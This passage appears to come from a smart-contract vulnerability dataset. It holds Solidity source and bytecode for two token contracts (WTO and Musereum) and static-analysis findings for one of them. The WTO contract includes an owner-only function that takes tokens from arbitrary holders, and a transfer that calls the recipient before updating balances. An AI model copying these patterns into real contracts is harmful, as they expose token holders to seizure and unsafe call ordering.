function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// assert(_b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return _a / _b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract WTO is ERC223Interface, Pausable {
using SafeMath for uint256;
string internal _name;
string internal _symbol;
uint8 internal _decimals;
uint256 internal _totalSupply;
mapping (address => uint256) internal balances;
mapping (address => mapping (address => uint256)) internal allowed;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
constructor(string name, string symbol, uint8 decimals, uint256 totalSupply) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
_totalSupply = totalSupply;
balances[msg.sender] = totalSupply;
}
function name() public view returns (string) {
return _name;
}
function symbol() public view returns (string) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function freezeAccount(address target, bool freeze)
public
onlyOwner
{
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
function transfer(address _to, uint256 _value)
public
whenNotPaused
returns (bool)
{
require(_to != address(0));
require(_value <= balances[msg.sender]);
require(!frozenAccount[_to]);
require(!frozenAccount[msg.sender]);
balances[msg.sender] = SafeMath.sub(balances[msg.sender], _value);
balances[_to] = SafeMath.add(balances[_to], _value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transfer(address _to, uint _value, bytes _data)
public
whenNotPaused
returns (bool)
{
require(_value > 0 );
require(!frozenAccount[_to]);
require(!frozenAccount[msg.sender]);
if(isContract(_to)) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value, _data);
return true;
}
function isContract(address _addr)
private
view
returns (bool is_contract)
{
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length>0);
}
function transferFrom(address _from, address _to, uint256 _value)
public
whenNotPaused
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(!frozenAccount[_to]);
require(!frozenAccount[_from]);
balances[_from] = SafeMath.sub(balances[_from], _value);
balances[_to] = SafeMath.add(balances[_to], _value);
allowed[_from][msg.sender] = SafeMath.sub(allowed[_from][msg.sender], _value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value)
public
whenNotPaused
returns (bool)
{
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue)
public
whenNotPaused
returns (bool)
{
allowed[msg.sender][_spender] = SafeMath.add(allowed[msg.sender][_spender], _addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue)
public
whenNotPaused
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = SafeMath.sub(oldValue, _subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function distributeAirdrop(address[] addresses, uint256 amount)
public
returns (bool seccess)
{
require(amount > 0);
require(addresses.length > 0);
require(!frozenAccount[msg.sender]);
uint256 totalAmount = amount.mul(addresses.length);
require(balances[msg.sender] >= totalAmount);
bytes memory empty;
for (uint i = 0; i < addresses.length; i++) {
require(addresses[i] != address(0));
require(!frozenAccount[addresses[i]]);
balances[addresses[i]] = balances[addresses[i]].add(amount);
emit Transfer(msg.sender, addresses[i], amount, empty);
}
balances[msg.sender] = balances[msg.sender].sub(totalAmount);
return true;
}
function distributeAirdrop(address[] addresses, uint256[] amounts)
public returns (bool) {
require(addresses.length > 0);
require(addresses.length == amounts.length);
require(!frozenAccount[msg.sender]);
uint256 totalAmount = 0;
for(uint i = 0; i < addresses.length; i++){
require(amounts[i] > 0);
require(addresses[i] != address(0));
require(!frozenAccount[addresses[i]]);
totalAmount = totalAmount.add(amounts[i]);
}
require(balances[msg.sender] >= totalAmount);
bytes memory empty;
for (i = 0; i < addresses.length; i++) {
balances[addresses[i]] = balances[addresses[i]].add(amounts[i]);
emit Transfer(msg.sender, addresses[i], amounts[i], empty);
}
balances[msg.sender] = balances[msg.sender].sub(totalAmount);
return true;
}
/**
* @dev Function to collect tokens from the list of addresses
*/
function collectTokens(address[] addresses, uint256[] amounts)
public
onlyOwner
returns (bool) {
require(addresses.length > 0);
require(addresses.length == amounts.length);
uint256 totalAmount = 0;
bytes memory empty;
for (uint j = 0; j < addresses.length; j++) {
require(amounts[j] > 0);
require(addresses[j] != address(0));
require(!frozenAccount[addresses[j]]);
require(balances[addresses[j]] >= amounts[j]);
balances[addresses[j]] = balances[addresses[j]].sub(amounts[j]);
totalAmount = totalAmount.add(amounts[j]);
emit Transfer(addresses[j], msg.sender, amounts[j], empty);
}
balances[msg.sender] = balances[msg.sender].add(totalAmount);
return true;
}
}
|
0x6080604052600436106101325763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610137578063095ea7b3146101c157806318160ddd146101f957806323b872dd14610220578063313ce5671461024a5780633f4ba83a146102755780635c975abb1461028c57806366188463146102a157806370a08231146102c5578063715018a6146102e65780638456cb59146102fb5780638da5cb5b14610310578063945946251461034157806395d89b4114610398578063a9059cbb146103ad578063b414d4b6146103d1578063be45fd62146103f2578063d73dd6231461045b578063dd62ed3e1461047f578063dd924594146104a6578063e724529c14610534578063f0dc41711461055a578063f2fde38b146105e8575b600080fd5b34801561014357600080fd5b5061014c610609565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561018657818101518382015260200161016e565b50505050905090810190601f1680156101b35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101cd57600080fd5b506101e5600160a060020a036004351660243561069e565b604080519115158252519081900360200190f35b34801561020557600080fd5b5061020e61071e565b60408051918252519081900360200190f35b34801561022c57600080fd5b506101e5600160a060020a0360043581169060243516604435610724565b34801561025657600080fd5b5061025f6108ed565b6040805160ff9092168252519081900360200190f35b34801561028157600080fd5b5061028a6108f6565b005b34801561029857600080fd5b506101e561096c565b3480156102ad57600080fd5b506101e5600160a060020a036004351660243561097c565b3480156102d157600080fd5b5061020e600160a060020a0360043516610a81565b3480156102f257600080fd5b5061028a610a9c565b34801561030757600080fd5b5061028a610b08565b34801561031c57600080fd5b50610325610b83565b60408051600160a060020a039092168252519081900360200190f35b34801561034d57600080fd5b50604080516020600480358082013583810280860185019096528085526101e5953695939460249493850192918291850190849080828437509497505093359450610b929350505050565b3480156103a457600080fd5b5061014c610df7565b3480156103b957600080fd5b506101e5600160a060020a0360043516602435610e55565b3480156103dd57600080fd5b506101e5600160a060020a0360043516610f85565b3480156103fe57600080fd5b50604080516020600460443581810135601f81018490048402850184019095528484526101e5948235600160a060020a0316946024803595369594606494920191908190840183828082843750949750610f9a9650505050505050565b34801561046757600080fd5b506101e5600160a060020a036004351660243561122a565b34801561048b57600080fd5b5061020e600160a060020a03600435811690602435166112d5565b3480156104b257600080fd5b50604080516020600480358082013583810280860185019096528085526101e595369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a9989019892975090820195509350839250850190849080828437509497506113009650505050505050565b34801561054057600080fd5b5061028a600160a060020a03600435166024351515611586565b34801561056657600080fd5b50604080516020600480358082013583810280860185019096528085526101e595369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a9989019892975090820195509350839250850190849080828437509497506116019650505050505050565b3480156105f457600080fd5b5061028a600160a060020a03600435166118d7565b60018054604080516020601f600260001961010087891615020190951694909404938401819004810282018101909252828152606093909290918301828280156106945780601f1061066957610100808354040283529160200191610694565b820191906000526020600020905b81548152906001019060200180831161067757829003601f168201915b5050505050905090565b6000805460a060020a900460ff16156106b657600080fd5b336000818152600660209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060015b92915050565b60045490565b6000805460a060020a900460ff161561073c57600080fd5b600160a060020a038316151561075157600080fd5b600160a060020a03841660009081526005602052604090205482111561077657600080fd5b600160a060020a03841660009081526006602090815260408083203384529091529020548211156107a657600080fd5b600160a060020a03831660009081526007602052604090205460ff16156107cc57600080fd5b600160a060020a03841660009081526007602052604090205460ff16156107f257600080fd5b600160a060020a03841660009081526005602052604090205461081590836118fa565b600160a060020a038086166000908152600560205260408082209390935590851681522054610844908361190c565b600160a060020a03808516600090815260056020908152604080832094909455918716815260068252828120338252909152205461088290836118fa565b600160a060020a03808616600081815260066020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b60035460ff1690565b600054600160a060020a0316331461090d57600080fd5b60005460a060020a900460ff16151561092557600080fd5b6000805474ff0000000000000000000000000000000000000000191681556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b339190a1565b60005460a060020a900460ff1681565b60008054819060a060020a900460ff161561099657600080fd5b50336000908152600660209081526040808320600160a060020a0387168452909152902054808311156109ec57336000908152600660209081526040808320600160a060020a0388168452909152812055610a1b565b6109f681846118fa565b336000908152600660209081526040808320600160a060020a03891684529091529020555b336000818152600660209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526005602052604090205490565b600054600160a060020a03163314610ab357600080fd5b60008054604051600160a060020a03909116917ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482091a26000805473ffffffffffffffffffffffffffffffffffffffff19169055565b600054600160a060020a03163314610b1f57600080fd5b60005460a060020a900460ff1615610b3657600080fd5b6000805474ff0000000000000000000000000000000000000000191660a060020a1781556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff6259190a1565b600054600160a060020a031681565b600080606081808511610ba457600080fd5b8551600010610bb257600080fd5b3360009081526007602052604090205460ff1615610bcf57600080fd5b8551610be290869063ffffffff61191916565b33600090815260056020526040902054909350831115610c0157600080fd5b5060005b8551811015610dbb578551600090879083908110610c1f57fe5b60209081029091010151600160a060020a03161415610c3d57600080fd5b600760008783815181101515610c4f57fe5b6020908102909101810151600160a060020a031682528101919091526040016000205460ff1615610c7f57600080fd5b610cc485600560008985815181101515610c9557fe5b6020908102909101810151600160a060020a03168252810191909152604001600020549063ffffffff61190c16565b600560008884815181101515610cd657fe5b6020908102909101810151600160a060020a03168252810191909152604001600020558551869082908110610d0757fe5b90602001906020020151600160a060020a031633600160a060020a03166000805160206119c883398151915287856040518083815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610d78578181015183820152602001610d60565b50505050905090810190601f168015610da55780820380516001836020036101000a031916815260200191505b50935050505060405180910390a3600101610c05565b33600090815260056020526040902054610ddb908463ffffffff6118fa16565b3360009081526005602052604090205550600195945050505050565b60028054604080516020601f60001961010060018716150201909416859004938401819004810282018101909252828152606093909290918301828280156106945780601f1061066957610100808354040283529160200191610694565b6000805460a060020a900460ff1615610e6d57600080fd5b600160a060020a0383161515610e8257600080fd5b33600090815260056020526040902054821115610e9e57600080fd5b600160a060020a03831660009081526007602052604090205460ff1615610ec457600080fd5b3360009081526007602052604090205460ff1615610ee157600080fd5b33600090815260056020526040902054610efb90836118fa565b3360009081526005602052604080822092909255600160a060020a03851681522054610f27908361190c565b600160a060020a0384166000818152600560209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b60076020526000908152604090205460ff1681565b60008054819060a060020a900460ff1615610fb457600080fd5b60008411610fc157600080fd5b600160a060020a03851660009081526007602052604090205460ff1615610fe757600080fd5b3360009081526007602052604090205460ff161561100457600080fd5b61100d85611942565b1561110157506040517fc0ee0b8a0000000000000000000000000000000000000000000000000000000081523360048201818152602483018690526060604484019081528551606485015285518894600160a060020a0386169463c0ee0b8a9490938a938a9360840190602085019080838360005b8381101561109a578181015183820152602001611082565b50505050905090810190601f1680156110c75780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b1580156110e857600080fd5b505af11580156110fc573d6000803e3d6000fd5b505050505b33600090815260056020526040902054611121908563ffffffff6118fa16565b3360009081526005602052604080822092909255600160a060020a03871681522054611153908563ffffffff61190c16565b6005600087600160a060020a0316600160a060020a031681526020019081526020016000208190555084600160a060020a031633600160a060020a03166000805160206119c883398151915286866040518083815260200180602001828103825283818151815260200191508051906020019080838360005b838110156111e45781810151838201526020016111cc565b50505050905090810190601f1680156112115780820380516001836020036101000a031916815260200191505b50935050505060405180910390a3506001949350505050565b6000805460a060020a900460ff161561124257600080fd5b336000908152600660209081526040808320600160a060020a0387168452909152902054611270908361190c565b336000818152600660209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260066020908152604080832093909416825291909152205490565b600080600060606000865111151561131757600080fd5b845186511461132557600080fd5b3360009081526007602052604090205460ff161561134257600080fd5b60009250600091505b855182101561141e576000858381518110151561136457fe5b602090810290910101511161137857600080fd5b855160009087908490811061138957fe5b60209081029091010151600160a060020a031614156113a757600080fd5b6007600087848151811015156113b957fe5b6020908102909101810151600160a060020a031682528101919091526040016000205460ff16156113e957600080fd5b61141185838151811015156113fa57fe5b60209081029091010151849063ffffffff61190c16565b925060019091019061134b565b3360009081526005602052604090205483111561143a57600080fd5b600091505b8551821015610dbb57611475858381518110151561145957fe5b90602001906020020151600560008986815181101515610c9557fe5b60056000888581518110151561148757fe5b6020908102909101810151600160a060020a031682528101919091526040016000205585518690839081106114b857fe5b90602001906020020151600160a060020a031633600160a060020a03166000805160206119c883398151915287858151811015156114f257fe5b90602001906020020151846040518083815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611540578181015183820152602001611528565b50505050905090810190601f16801561156d5780820380516001836020036101000a031916815260200191505b50935050505060405180910390a360019091019061143f565b600054600160a060020a0316331461159d57600080fd5b600160a060020a038216600081815260076020908152604091829020805460ff191685151590811790915582519384529083015280517f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a59281900390910190a15050565b6000805481906060908290600160a060020a0316331461162057600080fd5b855160001061162e57600080fd5b845186511461163c57600080fd5b5060009150815b85518110156118b7576000858281518110151561165c57fe5b602090810290910101511161167057600080fd5b855160009087908390811061168157fe5b60209081029091010151600160a060020a0316141561169f57600080fd5b6007600087838151811015156116b157fe5b6020908102909101810151600160a060020a031682528101919091526040016000205460ff16156116e157600080fd5b84818151811015156116ef57fe5b9060200190602002015160056000888481518110151561170b57fe5b6020908102909101810151600160a060020a0316825281019190915260400160002054101561173957600080fd5b611795858281518110151561174a57fe5b9060200190602002015160056000898581518110151561176657fe5b6020908102909101810151600160a060020a03168252810191909152604001600020549063ffffffff6118fa16565b6005600088848151811015156117a757fe5b6020908102909101810151600160a060020a031682528101919091526040016000205584516117dc908690839081106113fa57fe5b925033600160a060020a031686828151811015156117f657fe5b90602001906020020151600160a060020a03166000805160206119c8833981519152878481518110151561182657fe5b90602001906020020151856040518083815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561187457818101518382015260200161185c565b50505050905090810190601f1680156118a15780820380516001836020036101000a031916815260200191505b50935050505060405180910390a3600101611643565b33600090815260056020526040902054610ddb908463ffffffff61190c16565b600054600160a060020a031633146118ee57600080fd5b6118f78161194a565b50565b60008282111561190657fe5b50900390565b8181018281101561071857fe5b600082151561192a57506000610718565b5081810281838281151561193a57fe5b041461071857fe5b6000903b1190565b600160a060020a038116151561195f57600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790555600e19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16a165627a7a72305820fe568f9f5c71b7c1145c58a9aa34b1561aeb116a4cddcf31c1c74a3b59f9e9af0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 4,230 |
0x2ce1c13f89f824d328ad94bfc39268e7b05b117e
|
pragma solidity ^0.4.18;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract TokenRecipient {
function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public;
}
contract ApproveAndCallToken is StandardToken {
function approveAndCall(address _spender, uint _value, bytes _data) public returns (bool) {
TokenRecipient spender = TokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _data);
return true;
}
return false;
}
// ERC223 Token improvement to send tokens to smart-contracts
function transfer(address _to, uint _value) public returns (bool success) {
//standard function transfer similar to ERC20 transfer with no _data
//added due to backwards compatibility reasons
bytes memory empty;
if (isContract(_to)) {
return transferToContract(_to, _value, empty);
}
else {
return super.transfer(_to, _value);
}
}
//assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) private view returns (bool) {
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length>0);
}
//function that is called when transaction target is a contract
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
return approveAndCall(_to, _value, _data);
}
}
contract MusereumToken is ApproveAndCallToken {
string public constant name = "Musereum Token"; // solium-disable-line uppercase
string public constant symbol = "ETM"; // solium-disable-line uppercase
uint8 public constant decimals = 18; // solium-disable-line uppercase
uint256 public constant INITIAL_SUPPLY = 110000000 * (10 ** uint256(decimals));
function MusereumToken() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
}
|
0x6060604052600436106100c5576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100ca578063095ea7b31461015857806318160ddd146101b257806323b872dd146101db5780632ff2e9dc14610254578063313ce5671461027d57806366188463146102ac57806370a082311461030657806395d89b4114610353578063a9059cbb146103e1578063cae9ca511461043b578063d73dd623146104d8578063dd62ed3e14610532575b600080fd5b34156100d557600080fd5b6100dd61059e565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011d578082015181840152602081019050610102565b50505050905090810190601f16801561014a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561016357600080fd5b610198600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506105d7565b604051808215151515815260200191505060405180910390f35b34156101bd57600080fd5b6101c56106c9565b6040518082815260200191505060405180910390f35b34156101e657600080fd5b61023a600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506106d3565b604051808215151515815260200191505060405180910390f35b341561025f57600080fd5b610267610a8d565b6040518082815260200191505060405180910390f35b341561028857600080fd5b610290610a9e565b604051808260ff1660ff16815260200191505060405180910390f35b34156102b757600080fd5b6102ec600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610aa3565b604051808215151515815260200191505060405180910390f35b341561031157600080fd5b61033d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d34565b6040518082815260200191505060405180910390f35b341561035e57600080fd5b610366610d7c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a657808201518184015260208101905061038b565b50505050905090810190601f1680156103d35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156103ec57600080fd5b610421600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610db5565b604051808215151515815260200191505060405180910390f35b341561044657600080fd5b6104be600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050610df3565b604051808215151515815260200191505060405180910390f35b34156104e357600080fd5b610518600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610f71565b604051808215151515815260200191505060405180910390f35b341561053d57600080fd5b610588600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061116d565b6040518082815260200191505060405180910390f35b6040805190810160405280600e81526020017f4d7573657265756d20546f6b656e00000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561071057600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561075d57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156107e857600080fd5b610839826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111f490919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108cc826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461120d90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061099d82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111f490919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601260ff16600a0a63068e77800281565b601281565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610bb4576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c48565b610bc783826111f490919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152